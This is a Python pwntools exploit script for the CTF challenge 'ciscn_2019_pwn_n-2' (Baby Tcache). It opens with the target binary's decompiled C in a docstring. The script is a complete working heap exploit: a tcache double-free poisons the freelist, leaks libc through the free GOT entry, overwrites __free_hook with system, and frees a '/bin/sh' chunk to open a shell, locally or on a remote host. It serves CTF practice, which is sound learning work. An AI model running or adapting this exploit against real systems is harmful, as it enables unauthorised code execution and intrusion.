#-*- coding:utf-8 -*-
"""
// ciscn_2019_pwn_n-2 https://www.xuenixiang.com/ctfexercise-competition-417.html
int dispMenu()
{
puts("$$$$$$$");
puts("$ Baby Tcache $");
puts("$$$$$$$");
puts("$ 1. Create user $");
puts("$ 2. Delete user $ ");
puts("$ 3. Edit user $ ");
puts("$ 4. Display user $ ");
puts("$ 5. Add money $ ");
puts("$ 6. Buy gift $ ");
puts("$ 7. Exit $ ");
puts("$$$$$$$");
return printf("Your choice: ");
}
int createUser()
{
__int64 v1; // rbx
unsigned int v2; // [rsp+8h] [rbp-18h]
signed int i; // [rsp+Ch] [rbp-14h]
for ( i = 0; i <= 2; ++i )
{
if ( !LODWORD(chunkList[2 * i + 1]) )
{
v2 = i;
break;
}
if ( i == 2 )
return MEMORY[0x400828](":(");
}
chunkList[2 * (signed int)v2] = malloc(0x18uLL);
printf("name:");
myRead((void *)chunkList[2 * (signed int)v2], 8);
printf("age:", 8LL);
v1 = chunkList[2 * (signed int)v2];
*(_QWORD *)(v1 + 16) = readNum();
*(_QWORD *)(chunkList[2 * (signed int)v2] + 8LL) = 0LL;
LODWORD(chunkList[2 * (signed int)v2 + 1]) = 1;
return printf("idx: %d\n", v2);
}
int deleteUser()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("Index:");
v1 = readNum();
if ( v1 > 2 || v1 < 0 )
exit(1);
if ( !chunkList[2 * v1] )
return puts(":(");
free((void *)chunkList[2 * v1]);
LODWORD(chunkList[2 * v1 + 1]) = 0;
return puts(":)");
}
int editUser()
{
const char *v0; // rbx
signed int v2; // [rsp+Ch] [rbp-14h]
printf("Index:");
v2 = readNum();
if ( v2 > 2 || v2 < 0 )
exit(1);
if ( !chunkList[2 * v2] || !LODWORD(chunkList[2 * v2 + 1]) )
return puts(":(");
printf("name:");
myRead(chunkList[2 * v2], 8LL);
printf("age:");
v0 = chunkList[2 * v2];
*((_QWORD *)v0 + 2) = readNum();
return puts(":)");
}
int printUser()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("Index:");
v1 = readNum();
if ( v1 > 3 || v1 < 0 )
exit(1);
if ( !chunkList[2 * v1] || !LODWORD(chunkList[2 * v1 + 1]) )
return puts(":(");
puts("------------------------");
printf("name: ");
puts(chunkList[2 * v1]);
printf("age: %lld\nmoney: %lld\n", *((_QWORD *)chunkList[2 * v1] + 2), *((_QWORD *)chunkList[2 * v1] + 1));
puts("------------------------");
return puts(":)");
}
int addMoney()
{
signed int v1; // [rsp+Ch] [rbp-4h]
printf("Index:");
v1 = readNum();
if ( v1 > 2 || v1 < 0 )
exit(1);
if ( !chunkList[2 * v1] )
return puts(":(");
++*((_QWORD *)chunkList[2 * v1] + 1);
return puts(":)");
}
int buyGift()
{
int v1; // [rsp+0h] [rbp-10h]
int v2; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h]
printf("Index:");
v2 = readNum();
if ( v2 > 2 || v2 < 0 )
exit(1);
if ( !chunkList[2 * v2] || *((_QWORD *)chunkList[2 * v2] + 1) <= 0x100000LL )
return puts(":(");
printf("input the address you want to leak:");
_isoc99_scanf("%p", &buf);
printf("input the size you want to leak:");
_isoc99_scanf("%d", &v1);
printf("data:[[[");
write(1, buf, v1);
puts("]]]\n");
return puts(":)");
}
// name (8Byte)
// money (8Byte)
// age(8Byte)
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4; // [rsp+8h] [rbp-8h]
initIO(*(_QWORD *)&argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
dispMenu();
v4 = readNum();
if ( v4 != 1 )
break;
createUser();
}
if ( v4 != 2 )
break;
deleteUser();
}
if ( v4 != 3 )
break;
editUser();
}
if ( v4 != 4 )
break;
printUser();
}
if ( v4 != 5 )
break;
addMoney();
}
if ( v4 != 6 )
break;
buyGift();
}
if ( v4 == 7 )
break;
puts("Invalid Choice");
}
return 0;
}
ssize_t __fastcall myRead(void *a1, int a2)
{
return read(0, a1, a2);
}
__int64 readNum()
{
__int64 result; // rax
__int64 v1; // rdx
unsigned __int64 v2; // rt1
char nptr; // [rsp+0h] [rbp-20h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
myRead(&nptr, 16LL);
result = atoll(&nptr);
v2 = __readfsqword(0x28u);
v1 = v2 ^ v4;
if ( v2 != v4 )
__stack_chk_fail(&nptr, 16LL, v1);
return result;
}
"""
from pwn import *
from LibcSearcher import *
import sys
context(os="linux", log_level="debug")
if len(sys.argv) == 2:
p = process(sys.argv[1])
elif len(sys.argv) == 3:
p = remote(sys.argv[1], sys.argv[2])
else:
print("Usage: exp.py [./a.out | 1.1.1.1 23456]")
exit(1)
def create(name, age):
p.sendlineafter("Your choice: ", "1")
p.sendafter("name:", name)
p.sendlineafter("age:", str(age))
def edit(idx, name, age):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Index:", str(idx))
p.sendafter("name:", name)
p.sendlineafter("age:", str(age))
def delete(idx):
p.sendlineafter("Your choice: ", "2")
p.sendlineafter("Index:", str(idx))
def show(idx):
p.sendlineafter("Your choice: ", "4")
p.sendlineafter("Index:", str(idx))
def addm(idx):
p.sendlineafter("Your choice: ", "5")
p.sendlineafter("Index:", str(idx))
chunklist_addr = 0x602060
free_got = 0x601f88
create('a', 1) # 0
delete(0)
delete(0)
create(p64(chunklist_addr), 1) # 0
create(p64(chunklist_addr), 1) # 1
create(p64(free_got), 1) # 2
addm(2)
show(0)
p.recvuntil("name: ")
free_addr = u64(p.recvline(keepends=False).ljust(8, '\x00'))
print(hex(free_addr))
p.recvuntil(":)\n")
libc = LibcSearcher("free", free_addr)
libc_base = free_addr - libc.dump("free")
system_addr = libc_base + libc.dump("system")
free_hook = libc_base + libc.dump("__free_hook")
edit(2, p64(free_hook), 1)
edit(0, p64(system_addr), 1)
edit(2, "/bin/sh\x00", 1)
delete(2)
p.interactive()